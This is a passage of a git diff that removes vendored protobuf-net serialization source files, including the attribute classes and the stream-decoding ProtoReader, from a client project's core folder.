ignored. - /// - public string MemberName - { - get { return memberName; } - } - - private readonly string memberName; - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoIncludeAttribute.cs b/Client/Core/ProtoBuf/ProtoIncludeAttribute.cs deleted file mode 100644 index 9265a84c..00000000 --- a/Client/Core/ProtoBuf/ProtoIncludeAttribute.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.ComponentModel; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Indicates the known-types to support for an individual - /// message. This serializes each level in the hierarchy as - /// a nested message to retain wire-compatibility with - /// other protocol-buffer implementations. - /// - [AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] - public sealed class ProtoIncludeAttribute : Attribute - { - /// - /// Creates a new instance of the ProtoIncludeAttribute. - /// - /// The unique index (within the type) that will identify this data. - /// The additional type to serialize/deserialize. - public ProtoIncludeAttribute(int tag, System.Type knownType) - : this(tag, knownType == null ? "" : knownType.AssemblyQualifiedName) - { - } - - /// - /// Creates a new instance of the ProtoIncludeAttribute. - /// - /// The unique index (within the type) that will identify this data. - /// The additional type to serialize/deserialize. - public ProtoIncludeAttribute(int tag, string knownTypeName) - { - if (tag <= 0) throw new ArgumentOutOfRangeException("tag", "Tags must be positive integers"); - if (Helpers.IsNullOrEmpty(knownTypeName)) - throw new ArgumentNullException("knownTypeName", "Known type cannot be blank"); - this.tag = tag; - this.knownTypeName = knownTypeName; - } - - /// - /// Gets the unique index (within the type) that will identify this data. - /// - public int Tag - { - get { return tag; } - } - - private readonly int tag; - - /// - /// Gets the additional type to serialize/deserialize. - /// - public string KnownTypeName - { - get { return knownTypeName; } - } - - private readonly string knownTypeName; - - /// - /// Gets the additional type to serialize/deserialize. - /// - public Type KnownType - { - get { return TypeModel.ResolveKnownType(KnownTypeName, null, null); } - } - - /// - /// Specifies whether the inherited sype's sub-message should be - /// written with a length-prefix (default), or with group markers. - /// - [DefaultValue(DataFormat.Default)] - public DataFormat DataFormat - { - get { return dataFormat; } - set { dataFormat = value; } - } - - private DataFormat dataFormat = DataFormat.Default; - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoMemberAttribute.cs b/Client/Core/ProtoBuf/ProtoMemberAttribute.cs deleted file mode 100644 index d8306bf3..00000000 --- a/Client/Core/ProtoBuf/ProtoMemberAttribute.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Declares a member to be used in protocol-buffer serialization, using - /// the given Tag. A DataFormat may be used to optimise the serialization - /// format (for instance, using zigzag encoding for negative numbers, or - /// fixed-length encoding for large values. - /// - [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, - AllowMultiple = false, Inherited = true)] - public class ProtoMemberAttribute : Attribute - , IComparable -#if !NO_GENERICS - , IComparable -#endif - - { - /// - /// Compare with another ProtoMemberAttribute for sorting purposes - /// - public int CompareTo(object other) - { - return CompareTo(other as ProtoMemberAttribute); - } - - /// - /// Compare with another ProtoMemberAttribute for sorting purposes - /// - public int CompareTo(ProtoMemberAttribute other) - { - if (other == null) return -1; - if ((object) this == (object) other) return 0; - int result = this.tag.CompareTo(other.tag); - if (result == 0) result = string.CompareOrdinal(this.name, other.name); - return result; - } - - /// - /// Creates a new ProtoMemberAttribute instance. - /// - /// Specifies the unique tag used to identify this member within the type. - public ProtoMemberAttribute(int tag) : this(tag, false) - { - } - - internal ProtoMemberAttribute(int tag, bool forced) - { - if (tag <= 0 && !forced) throw new ArgumentOutOfRangeException("tag"); - this.tag = tag; - } - -#if !NO_RUNTIME - internal MemberInfo Member; - internal bool TagIsPinned; -#endif - - /// - /// Gets or sets the original name defined in the .proto; not used - /// during serialization. - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - - /// - /// Gets or sets the data-format to be used when encoding this value. - /// - public DataFormat DataFormat - { - get { return dataFormat; } - set { dataFormat = value; } - } - - private DataFormat dataFormat; - - /// - /// Gets the unique tag used to identify this member within the type. - /// - public int Tag - { - get { return tag; } - } - - private int tag; - - internal void Rebase(int tag) - { - this.tag = tag; - } - - /// - /// Gets or sets a value indicating whether this member is mandatory. - /// - public bool IsRequired - { - get { return (options & MemberSerializationOptions.Required) == MemberSerializationOptions.Required; } - set - { - if (value) options |= MemberSerializationOptions.Required; - else options &= ~MemberSerializationOptions.Required; - } - } - - /// - /// Gets a value indicating whether this member is packed. - /// This option only applies to list/array data of primitive types (int, double, etc). - /// - public bool IsPacked - { - get { return (options & MemberSerializationOptions.Packed) == MemberSerializationOptions.Packed; } - set - { - if (value) options |= MemberSerializationOptions.Packed; - else options &= ~MemberSerializationOptions.Packed; - } - } - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - public bool OverwriteList - { - get - { - return (options & MemberSerializationOptions.OverwriteList) == MemberSerializationOptions.OverwriteList; - } - set - { - if (value) options |= MemberSerializationOptions.OverwriteList; - else options &= ~MemberSerializationOptions.OverwriteList; - } - } - - /// - /// Enables full object-tracking/full-graph support. - /// - public bool AsReference - { - get { return (options & MemberSerializationOptions.AsReference) == MemberSerializationOptions.AsReference; } - set - { - if (value) options |= MemberSerializationOptions.AsReference; - else options &= ~MemberSerializationOptions.AsReference; - - options |= MemberSerializationOptions.AsReferenceHasValue; - } - } - - internal bool AsReferenceHasValue - { - get - { - return (options & MemberSerializationOptions.AsReferenceHasValue) == - MemberSerializationOptions.AsReferenceHasValue; - } - set - { - if (value) options |= MemberSerializationOptions.AsReferenceHasValue; - else options &= ~MemberSerializationOptions.AsReferenceHasValue; - } - } - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - public bool DynamicType - { - get { return (options & MemberSerializationOptions.DynamicType) == MemberSerializationOptions.DynamicType; } - set - { - if (value) options |= MemberSerializationOptions.DynamicType; - else options &= ~MemberSerializationOptions.DynamicType; - } - } - - /// - /// Gets or sets a value indicating whether this member is packed (lists/arrays). - /// - public MemberSerializationOptions Options - { - get { return options; } - set { options = value; } - } - - private MemberSerializationOptions options; - } - - /// - /// Additional (optional) settings that control serialization of members - /// - [Flags] - public enum MemberSerializationOptions - { - /// - /// Default; no additional options - /// - None = 0, - - /// - /// Indicates that repeated elements should use packed (length-prefixed) encoding - /// - Packed = 1, - - /// - /// Indicates that the given item is required - /// - Required = 2, - - /// - /// Enables full object-tracking/full-graph support - /// - AsReference = 4, - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance - /// - DynamicType = 8, - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - OverwriteList = 16, - - /// - /// Determines whether the types AsReferenceDefault value is used, or whether this member's AsReference should be used - /// - AsReferenceHasValue = 32 - } - - /// - /// Declares a member to be used in protocol-buffer serialization, using - /// the given Tag and MemberName. This allows ProtoMemberAttribute usage - /// even for partial classes where the individual members are not - /// under direct control. - /// A DataFormat may be used to optimise the serialization - /// format (for instance, using zigzag encoding for negative numbers, or - /// fixed-length encoding for large values. - /// - [AttributeUsage(AttributeTargets.Class, - AllowMultiple = true, Inherited = false)] - public sealed class ProtoPartialMemberAttribute : ProtoMemberAttribute - { - /// - /// Creates a new ProtoMemberAttribute instance. - /// - /// Specifies the unique tag used to identify this member within the type. - /// Specifies the member to be serialized. - public ProtoPartialMemberAttribute(int tag, string memberName) - : base(tag) - { - if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); - this.memberName = memberName; - } - - /// - /// The name of the member to be serialized. - /// - public string MemberName - { - get { return memberName; } - } - - private readonly string memberName; - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/ProtoReader.cs b/Client/Core/ProtoBuf/ProtoReader.cs deleted file mode 100644 index fcdc0c4f..00000000 --- a/Client/Core/ProtoBuf/ProtoReader.cs +++ /dev/null @@ -1,1547 +0,0 @@ -using System; -using System.IO; -using System.Text; -using ProtoBuf.Meta; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -#if MF -using EndOfStreamException = System.ApplicationException; -using OverflowException = System.ApplicationException; -#endif - -namespace ProtoBuf -{ - /// - /// A stateful reader, used to read a protobuf stream. Typical usage would be (sequentially) to call - /// ReadFieldHeader and (after matching the field) an appropriate Read* method. - /// - public sealed class ProtoReader : IDisposable - { - private Stream source; - private byte[] ioBuffer; - private TypeModel model; - private int fieldNumber, depth, dataRemaining, ioIndex, position, available, blockEnd; - private WireType wireType; - private bool isFixedLength, internStrings; - private NetObjectCache netCache; - - // this is how many outstanding objects do not currently have - // values for the purposes of reference tracking; we'll default - // to just trapping the root object - // note: objects are trapped (the ref and key mapped) via NoteObject - private uint trapCount; // uint is so we can use beq/bne more efficiently than bgt - - - /// - /// Gets the number of the field being processed. - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - /// - /// Indicates the underlying proto serialization format on the wire. - /// - public WireType WireType - { - get { return wireType; } - } - - /// - /// Creates a new reader against a stream - /// - /// The source stream - /// The model to use for serialization; this can be null, but this will impair the ability to deserialize sub-objects - /// Additional context about this serialization operation - public ProtoReader(Stream source, TypeModel model, SerializationContext context) - { - Init(this, source, model, context, TO_EOF); - } - - internal const int TO_EOF = -1; - - - /// - /// Gets / sets a flag indicating whether strings should be checked for repetition; if - /// true, any repeated UTF-8 byte sequence will result in the same String instance, rather - /// than a second instance of the same string. Enabled by default. Note that this uses - /// a custom interner - the system-wide string interner is not used. - /// - public bool InternStrings - { - get { return internStrings; } - set { internStrings = value; } - } - - /// - /// Creates a new reader against a stream - /// - /// The source stream - /// The model to use for serialization; this can be null, but this will impair the ability to deserialize sub-objects - /// Additional context about this serialization operation - /// The number of bytes to read, or -1 to read until the end of the stream - public ProtoReader(Stream source, TypeModel model, SerializationContext context, int length) - { - Init(this, source, model, context, length); - } - - private static void Init(ProtoReader reader, Stream source, TypeModel model, SerializationContext context, - int length) - { - if (source == null) throw new ArgumentNullException("source"); - if (!source.CanRead) throw new ArgumentException("Cannot read from stream", "source"); - reader.source = source; - reader.ioBuffer = BufferPool.GetBuffer(); - reader.model = model; - bool isFixedLength = length >= 0; - reader.isFixedLength = isFixedLength; - reader.dataRemaining = isFixedLength ? length : 0; - - if (context == null) - { - context = SerializationContext.Default; - } - else - { - context.Freeze(); - } - reader.context = context; - reader.position = reader.available = reader.depth = reader.fieldNumber = reader.ioIndex = 0; - reader.blockEnd = int.MaxValue; - reader.internStrings = true; - reader.wireType = WireType.None; - reader.trapCount = 1; - if (reader.netCache == null) reader.netCache = new NetObjectCache(); - } - - private SerializationContext context; - - /// - /// Addition information about this deserialization operation. - /// - public SerializationContext Context - { - get { return context; } - } - - /// - /// Releases resources used by the reader, but importantly does not Dispose the - /// underlying stream; in many typical use-cases the stream is used for different - /// processes, so it is assumed that the consumer will Dispose their stream separately. - /// - public void Dispose() - { - // importantly, this does **not** own the stream, and does not dispose it - source = null; - model = null; - BufferPool.ReleaseBufferToPool(ref ioBuffer); - if (stringInterner != null) stringInterner.Clear(); - if (netCache != null) netCache.Clear(); - } - - internal int TryReadUInt32VariantWithoutMoving(bool trimNegative, out uint value) - { - if (available < 10) Ensure(10, false); - if (available == 0) - { - value = 0; - return 0; - } - int readPos = ioIndex; - value = ioBuffer[readPos++]; - if ((value & 0x80) == 0) return 1; - value &= 0x7F; - if (available == 1) throw EoF(this); - - uint chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 7; - if ((chunk & 0x80) == 0) return 2; - if (available == 2) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 14; - if ((chunk & 0x80) == 0) return 3; - if (available == 3) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 21; - if ((chunk & 0x80) == 0) return 4; - if (available == 4) throw EoF(this); - - chunk = ioBuffer[readPos]; - value |= chunk << 28; // can only use 4 bits from this chunk - if ((chunk & 0xF0) == 0) return 5; - - if (trimNegative // allow for -ve values - && (chunk & 0xF0) == 0xF0 - && available >= 10 - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0x01) - { - return 10; - } - throw AddErrorData(new OverflowException(), this); - } - - private uint ReadUInt32Variant(bool trimNegative) - { - uint value; - int read = TryReadUInt32VariantWithoutMoving(trimNegative, out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return value; - } - throw EoF(this); - } - - private bool TryReadUInt32Variant(out uint value) - { - int read = TryReadUInt32VariantWithoutMoving(false, out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return true; - } - return false; - } - - /// - /// Reads an unsigned 32-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public uint ReadUInt32() - { - switch (wireType) - { - case WireType.Variant: - return ReadUInt32Variant(false); - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - position += 4; - available -= 4; - return ((uint) ioBuffer[ioIndex++]) - | (((uint) ioBuffer[ioIndex++]) << 8) - | (((uint) ioBuffer[ioIndex++]) << 16) - | (((uint) ioBuffer[ioIndex++]) << 24); - case WireType.Fixed64: - ulong val = ReadUInt64(); - checked - { - return (uint) val; - } - default: - throw CreateWireTypeException(); - } - } - - /// - /// Returns the position of the current reader (note that this is not necessarily the same as the position - /// in the underlying stream, if multiple readers are used on the same stream) - /// - public int Position - { - get { return position; } - } - - internal void Ensure(int count, bool strict) - { - Helpers.DebugAssert(available <= count, "Asking for data without checking first"); - if (count > ioBuffer.Length) - { - BufferPool.ResizeAndFlushLeft(ref ioBuffer, count, ioIndex, available); - ioIndex = 0; - } - else if (ioIndex + count >= ioBuffer.Length) - { - // need to shift the buffer data to the left to make space - Helpers.BlockCopy(ioBuffer, ioIndex, ioBuffer, 0, available); - ioIndex = 0; - } - count -= available; - int writePos = ioIndex + available, bytesRead; - int canRead = ioBuffer.Length - writePos; - if (isFixedLength) - { - // throttle it if needed - if (dataRemaining < canRead) canRead = dataRemaining; - } - while (count > 0 && canRead > 0 && (bytesRead = source.Read(ioBuffer, writePos, canRead)) > 0) - { - available += bytesRead; - count -= bytesRead; - canRead -= bytesRead; - writePos += bytesRead; - if (isFixedLength) - { - dataRemaining -= bytesRead; - } - } - if (strict && count > 0) - { - throw EoF(this); - } - } - - /// - /// Reads a signed 16-bit integer from the stream: Variant, Fixed32, Fixed64, SignedVariant - /// - public short ReadInt16() - { - checked - { - return (short) ReadInt32(); - } - } - - /// - /// Reads an unsigned 16-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public ushort ReadUInt16() - { - checked - { - return (ushort) ReadUInt32(); - } - } - - /// - /// Reads an unsigned 8-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public byte ReadByte() - { - checked - { - return (byte) ReadUInt32(); - } - } - - /// - /// Reads a signed 8-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public sbyte ReadSByte() - { - checked - { - return (sbyte) ReadInt32(); - } - } - - /// - /// Reads a signed 32-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public int ReadInt32() - { - switch (wireType) - { - case WireType.Variant: - return (int) ReadUInt32Variant(true); - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - position += 4; - available -= 4; - return ((int) ioBuffer[ioIndex++]) - | (((int) ioBuffer[ioIndex++]) << 8) - | (((int) ioBuffer[ioIndex++]) << 16) - | (((int) ioBuffer[ioIndex++]) << 24); - case WireType.Fixed64: - long l = ReadInt64(); - checked - { - return (int) l; - } - case WireType.SignedVariant: - return Zag(ReadUInt32Variant(true)); - default: - throw CreateWireTypeException(); - } - } - - private const long Int64Msb = ((long) 1) << 63; - private const int Int32Msb = ((int) 1) << 31; - - private static int Zag(uint ziggedValue) - { - int value = (int) ziggedValue; - return (-(value & 0x01)) ^ ((value >> 1) & ~ProtoReader.Int32Msb); - } - - private static long Zag(ulong ziggedValue) - { - long value = (long) ziggedValue; - return (-(value & 0x01L)) ^ ((value >> 1) & ~ProtoReader.Int64Msb); - } - - /// - /// Reads a signed 64-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public long ReadInt64() - { - switch (wireType) - { - case WireType.Variant: - return (long) ReadUInt64Variant(); - case WireType.Fixed32: - return ReadInt32(); - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - position += 8; - available -= 8; - - return ((long) ioBuffer[ioIndex++]) - | (((long) ioBuffer[ioIndex++]) << 8) - | (((long) ioBuffer[ioIndex++]) << 16) - | (((long) ioBuffer[ioIndex++]) << 24) - | (((long) ioBuffer[ioIndex++]) << 32) - | (((long) ioBuffer[ioIndex++]) << 40) - | (((long) ioBuffer[ioIndex++]) << 48) - | (((long) ioBuffer[ioIndex++]) << 56); - - case WireType.SignedVariant: - return Zag(ReadUInt64Variant()); - default: - throw CreateWireTypeException(); - } - } - - private int TryReadUInt64VariantWithoutMoving(out ulong value) - { - if (available < 10) Ensure(10, false); - if (available == 0) - { - value = 0; - return 0; - } - int readPos = ioIndex; - value = ioBuffer[readPos++]; - if ((value & 0x80) == 0) return 1; - value &= 0x7F; - if (available == 1) throw EoF(this); - - ulong chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 7; - if ((chunk & 0x80) == 0) return 2; - if (available == 2) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 14; - if ((chunk & 0x80) == 0) return 3; - if (available == 3) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 21; - if ((chunk & 0x80) == 0) return 4; - if (available == 4) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 28; - if ((chunk & 0x80) == 0) return 5; - if (available == 5) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 35; - if ((chunk & 0x80) == 0) return 6; - if (available == 6) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 42; - if ((chunk & 0x80) == 0) return 7; - if (available == 7) throw EoF(this); - - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 49; - if ((chunk & 0x80) == 0) return 8; - if (available == 8) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 56; - if ((chunk & 0x80) == 0) return 9; - if (available == 9) throw EoF(this); - - chunk = ioBuffer[readPos]; - value |= chunk << 63; // can only use 1 bit from this chunk - - if ((chunk & ~(ulong) 0x01) != 0) throw AddErrorData(new OverflowException(), this); - return 10; - } - - private ulong ReadUInt64Variant() - { - ulong value; - int read = TryReadUInt64VariantWithoutMoving(out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return value; - } - throw EoF(this); - } - -#if NO_GENERICS - private System.Collections.Hashtable stringInterner; - private string Intern(string value) - { - if (value == null) return null; - if (value.Length == 0) return ""; - if (stringInterner == null) - { - stringInterner = new System.Collections.Hashtable(); - stringInterner.Add(value, value); - } - else if (stringInterner.ContainsKey(value)) - { - value = (string)stringInterner[value]; - } - else - { - stringInterner.Add(value, value); - } - return value; - } -#else - private System.Collections.Generic.Dictionary stringInterner; - - private string Intern(string value) - { - if (value == null) return null; - if (value.Length == 0) return ""; - string found; - if (stringInterner == null) - { - stringInterner = new System.Collections.Generic.Dictionary(); - stringInterner.Add(value, value); - } - else if (stringInterner.TryGetValue(value, out found)) - { - value = found; - } - else - { - stringInterner.Add(value, value); - } - return value; - } -#endif - - private static readonly UTF8Encoding encoding = new UTF8Encoding(); - - /// - /// Reads a string from the stream (using UTF8); supported wire-types: String - /// - public string ReadString() - { - if (wireType == WireType.String) - { - int bytes = (int) ReadUInt32Variant(false); - if (bytes == 0) return ""; - if (available < bytes) Ensure(bytes, true); -#if MF - byte[] tmp; - if(ioIndex == 0 && bytes == ioBuffer.Length) { - // unlikely, but... - tmp = ioBuffer; - } else { - tmp = new byte[bytes]; - Helpers.BlockCopy(ioBuffer, ioIndex, tmp, 0, bytes); - } - string s = new string(encoding.GetChars(tmp)); -#else - string s = encoding.GetString(ioBuffer, ioIndex, bytes); -#endif - if (internStrings) - { - s = Intern(s); - } - available -= bytes; - position += bytes; - ioIndex += bytes; - return s; - } - throw CreateWireTypeException(); - } - - /// - /// Throws an exception indication that the given value cannot be mapped to an enum. - /// - public void ThrowEnumException(System.Type type, int value) - { - string desc = type == null ? "" : type.FullName; - throw AddErrorData( - new ProtoException("No " + desc + " enum is mapped to the wire-value " + value.ToString()), this); - } - - private Exception CreateWireTypeException() - { - return - CreateException( - "Invalid wire-type; this usually means you have over-written a file without truncating or setting the length; see http://stackoverflow.com/q/2152978/23354"); - } - - private Exception CreateException(string message) - { - return AddErrorData(new ProtoException(message), this); - } - - /// - /// Reads a double-precision number from the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - unsafe -#endif - double ReadDouble() - { - switch (wireType) - { - case WireType.Fixed32: - return ReadSingle(); - case WireType.Fixed64: - long value = ReadInt64(); -#if FEAT_SAFE - return BitConverter.ToDouble(BitConverter.GetBytes(value), 0); -#else - return *(double*) &value; -#endif - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads (merges) a sub-message from the stream, internally calling StartSubItem and EndSubItem, and (in between) - /// parsing the message in accordance with the model associated with the reader - /// - public static object ReadObject(object value, int key, ProtoReader reader) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return ReadTypedObject(value, key, reader, null); -#endif - } - -#if !FEAT_IKVM - internal static object ReadTypedObject(object value, int key, ProtoReader reader, Type type) - { - if (reader.model == null) - { - throw AddErrorData( - new InvalidOperationException("Cannot deserialize sub-objects unless a model is provided"), reader); - } - SubItemToken token = ProtoReader.StartSubItem(reader); - if (key >= 0) - { - value = reader.model.Deserialize(key, value, reader); - } - else if (type != null && - reader.model.TryDeserializeAuxiliaryType(reader, DataFormat.Default, Serializer.ListItemTag, type, - ref value, true, false, true, false)) - { - // ok - } - else - { - TypeModel.ThrowUnexpectedType(type); - } - ProtoReader.EndSubItem(token, reader); - return value; - } -#endif - - /// - /// Makes the end of consuming a nested message in the stream; the stream must be either at the correct EndGroup - /// marker, or all fields of the sub-message must have been consumed (in either case, this means ReadFieldHeader - /// should return zero) - /// - public static void EndSubItem(SubItemToken token, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - int value = token.value; - switch (reader.wireType) - { - case WireType.EndGroup: - if (value >= 0) throw AddErrorData(new ArgumentException("token"), reader); - if (-value != reader.fieldNumber) - throw reader.CreateException("Wrong group was ended"); // wrong group ended! - reader.wireType = WireType.None; // this releases ReadFieldHeader - reader.depth--; - break; - // case WireType.None: // TODO reinstate once reads reset the wire-type - default: - if (value < reader.position) throw reader.CreateException("Sub-message not read entirely"); - if (reader.blockEnd != reader.position && reader.blockEnd != int.MaxValue) - { - throw reader.CreateException("Sub-message not read correctly"); - } - reader.blockEnd = value; - reader.depth--; - break; - /*default: - throw reader.BorkedIt(); */ - } - } - - /// - /// Begins consuming a nested message in the stream; supported wire-types: StartGroup, String - /// - /// The token returned must be help and used when callining EndSubItem - public static SubItemToken StartSubItem(ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - switch (reader.wireType) - { - case WireType.StartGroup: - reader.wireType = WireType.None; // to prevent glitches from double-calling - reader.depth++; - return new SubItemToken(-reader.fieldNumber); - case WireType.String: - int len = (int) reader.ReadUInt32Variant(false); - if (len < 0) throw AddErrorData(new InvalidOperationException(), reader); - int lastEnd = reader.blockEnd; - reader.blockEnd = reader.position + len; - reader.depth++; - return new SubItemToken(lastEnd); - default: - throw reader.CreateWireTypeException(); // throws - } - } - - /// - /// Reads a field header from the stream, setting the wire-type and retuning the field number. If no - /// more fields are available, then 0 is returned. This methods respects sub-messages. - /// - public int ReadFieldHeader() - { - // at the end of a group the caller must call EndSubItem to release the - // reader (which moves the status to Error, since ReadFieldHeader must - // then be called) - if (blockEnd <= position || wireType == WireType.EndGroup) - { - return 0; - } - uint tag; - if (TryReadUInt32Variant(out tag)) - { - wireType = (WireType) (tag & 7); - fieldNumber = (int) (tag >> 3); - if (fieldNumber < 1) - throw new ProtoException("Invalid field in source data: " + fieldNumber.ToString()); - } - else - { - wireType = WireType.None; - fieldNumber = 0; - } - if (wireType == ProtoBuf.WireType.EndGroup) - { - if (depth > 0) return 0; // spoof an end, but note we still set the field-number - throw new ProtoException( - "Unexpected end-group in source data; this usually means the source data is corrupt"); - } - return fieldNumber; - } - - /// - /// Looks ahead to see whether the next field in the stream is what we expect - /// (typically; what we've just finished reading - for example ot read successive list items) - /// - public bool TryReadFieldHeader(int field) - { - // check for virtual end of stream - if (blockEnd <= position || wireType == WireType.EndGroup) - { - return false; - } - uint tag; - int read = TryReadUInt32VariantWithoutMoving(false, out tag); - WireType tmpWireType; // need to catch this to exclude (early) any "end group" tokens - if (read > 0 && ((int) tag >> 3) == field - && (tmpWireType = (WireType) (tag & 7)) != WireType.EndGroup) - { - wireType = tmpWireType; - fieldNumber = field; - position += read; - ioIndex += read; - available -= read; - return true; - } - return false; - } - - /// - /// Get the TypeModel associated with this reader - /// - public TypeModel Model - { - get { return model; } - } - - /// - /// Compares the streams current wire-type to the hinted wire-type, updating the reader if necessary; for example, - /// a Variant may be updated to SignedVariant. If the hinted wire-type is unrelated then no change is made. - /// - public void Hint(WireType wireType) - { - if (this.wireType == wireType) - { - } // fine; everything as we expect - else if (((int) wireType & 7) == (int) this.wireType) - { - // the underling type is a match; we're customising it with an extension - this.wireType = wireType; - } - // note no error here; we're OK about using alternative data - } - - /// - /// Verifies that the stream's current wire-type is as expected, or a specialized sub-type (for example, - /// SignedVariant) - in which case the current wire-type is updated. Otherwise an exception is thrown. - /// - public void Assert(WireType wireType) - { - if (this.wireType == wireType) - { - } // fine; everything as we expect - else if (((int) wireType & 7) == (int) this.wireType) - { - // the underling type is a match; we're customising it with an extension - this.wireType = wireType; - } - else - { - // nope; that is *not* what we were expecting! - throw CreateWireTypeException(); - } - } - - /// - /// Discards the data for the current field. - /// - public void SkipField() - { - switch (wireType) - { - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - available -= 4; - ioIndex += 4; - position += 4; - return; - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - available -= 8; - ioIndex += 8; - position += 8; - return; - case WireType.String: - int len = (int) ReadUInt32Variant(false); - if (len <= available) - { - // just jump it! - available -= len; - ioIndex += len; - position += len; - return; - } - // everything remaining in the buffer is garbage - position += len; // assumes success, but if it fails we're screwed anyway - len -= available; // discount anything we've got to-hand - ioIndex = available = 0; // note that we have no data in the buffer - if (isFixedLength) - { - if (len > dataRemaining) throw EoF(this); - // else assume we're going to be OK - dataRemaining -= len; - } - ProtoReader.Seek(source, len, ioBuffer); - return; - case WireType.Variant: - case WireType.SignedVariant: - ReadUInt64Variant(); // and drop it - return; - case WireType.StartGroup: - int originalFieldNumber = this.fieldNumber; - depth++; // need to satisfy the sanity-checks in ReadFieldHeader - while (ReadFieldHeader() > 0) - { - SkipField(); - } - depth--; - if (wireType == WireType.EndGroup && fieldNumber == originalFieldNumber) - { - // we expect to exit in a similar state to how we entered - wireType = ProtoBuf.WireType.None; - return; - } - throw CreateWireTypeException(); - case WireType.None: // treat as explicit errorr - case WireType.EndGroup: // treat as explicit error - default: // treat as implicit error - throw CreateWireTypeException(); - } - } - - /// - /// Reads an unsigned 64-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public ulong ReadUInt64() - { - switch (wireType) - { - case WireType.Variant: - return ReadUInt64Variant(); - case WireType.Fixed32: - return ReadUInt32(); - case WireType.Fixed64: - if (available < 8) Ensure(8, true); - position += 8; - available -= 8; - - return ((ulong) ioBuffer[ioIndex++]) - | (((ulong) ioBuffer[ioIndex++]) << 8) - | (((ulong) ioBuffer[ioIndex++]) << 16) - | (((ulong) ioBuffer[ioIndex++]) << 24) - | (((ulong) ioBuffer[ioIndex++]) << 32) - | (((ulong) ioBuffer[ioIndex++]) << 40) - | (((ulong) ioBuffer[ioIndex++]) << 48) - | (((ulong) ioBuffer[ioIndex++]) << 56); - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads a single-precision number from the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - unsafe -#endif - float ReadSingle() - { - switch (wireType) - { - case WireType.Fixed32: - { - int value = ReadInt32(); -#if FEAT_SAFE - return BitConverter.ToSingle(BitConverter.GetBytes(value), 0); -#else - return *(float*) &value; -#endif - } - case WireType.Fixed64: - { - double value = ReadDouble(); - float f = (float) value; - if (Helpers.IsInfinity(f) - && !Helpers.IsInfinity(value)) - { - throw AddErrorData(new OverflowException(), this); - } - return f; - } - default: - throw CreateWireTypeException(); - } - } - - /// - /// Reads a boolean value from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - /// - public bool ReadBoolean() - { - switch (ReadUInt32()) - { - case 0: - return false; - case 1: - return true; - default: - throw CreateException("Unexpected boolean value"); - } - } - - private static readonly byte[] EmptyBlob = new byte[0]; - - /// - /// Reads a byte-sequence from the stream, appending them to an existing byte-sequence (which can be null); supported wire-types: String - /// - public static byte[] AppendBytes(byte[] value, ProtoReader reader) - { - if (reader == null) throw new ArgumentNullException("reader"); - switch (reader.wireType) - { - case WireType.String: - int len = (int) reader.ReadUInt32Variant(false); - reader.wireType = WireType.None; - if (len == 0) return value == null ? EmptyBlob : value; - int offset; - 